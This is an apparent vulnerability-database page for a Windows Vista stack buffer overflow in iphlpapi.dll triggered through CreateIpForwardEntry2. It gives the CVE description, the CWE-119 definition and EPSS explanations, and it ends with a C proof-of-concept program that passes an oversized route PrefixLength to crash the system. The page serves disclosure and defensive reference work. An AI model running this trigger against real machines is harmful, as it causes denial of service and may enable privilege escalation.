CVE Descriptions

Stack-based buffer overflow in Microsoft Device IO Control in iphlpapi.dll in Microsoft Windows Vista Gold and SP1 allows local users in the Network Configuration Operator group to gain privileges or cause a denial of service (system crash) via a large invalid PrefixLength to the CreateIpForwardEntry2 method, as demonstrated by a "route add" command. NOTE: this issue might not cross privilege boundaries.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/32357/info // Microsoft Windows Vista is prone to a buffer-overflow vulnerability because of insufficient boundary checks. // Local attackers could exploit this issue to cause denial-of-service conditions. Given the nature of this issue, attackers may also be able to execute arbitrary code with SYSTEM-level privileges, but this has not been confirmed. // Windows Vista SP1 is vulnerable to this issue. // UPDATE (November 25, 2008): Since this issue may be exploitable only by members of the administrative group, the security implication of this issue may be negated. #define _WIN32_WINNT 0x0600 #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2ipdef.h> #include <iphlpapi.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char** argv) { DWORD dwStatus; MIB_IPFORWARD_ROW2 route; if (argc != 3) { printf("Usage: %s <ifNum> <numOfBits>\n\n", argv[0]); return -1; } InitializeIpForwardEntry(&route); route.InterfaceIndex = atoi(argv[1]); route.DestinationPrefix.Prefix.si_family = AF_INET; route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr = inet_addr("1.2.3.0"); route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET; route.DestinationPrefix.PrefixLength = atoi(argv[2]); route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44"); route.NextHop.Ipv4.sin_family = AF_INET; route.SitePrefixLength = 0; route.Protocol = MIB_IPPROTO_NETMGMT; route.Origin = NlroManual; route.ValidLifetime = 0xffffffff; route.PreferredLifetime = 0xffffffff; route.Metric = 1; dwStatus = CreateIpForwardEntry2(&route); return dwStatus; }
